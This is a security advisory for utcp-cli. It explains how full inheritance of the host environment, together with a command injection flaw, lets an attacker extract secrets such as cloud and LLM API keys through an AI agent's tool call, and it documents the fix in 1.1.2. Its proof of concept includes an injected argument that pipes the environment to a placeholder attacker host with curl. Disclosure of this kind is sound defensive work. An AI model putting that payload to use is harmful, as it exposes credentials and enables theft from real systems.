PYSEC-2026-3395

## Summary

`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

## Vulnerable Code

```python # cli_communication_protocol.py def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]: env = os.environ.copy() # All secrets inherited if provider.env_vars: env.update(provider.env_vars) return env ```

## Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET) - Database connection strings (DATABASE_URL) - LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY) - Internal service tokens

## Proof of Concept

```python # Tool defined as: {"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}

# Attacker supplies: tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script: # CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1) # -> Full env dump sent to attacker including all secrets ```

## Patched

Fixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:

- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work. - `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated. - `["FOO", "BAR"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.

## Mitigation

Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

## Credit

Reported by @ZeroXJacks.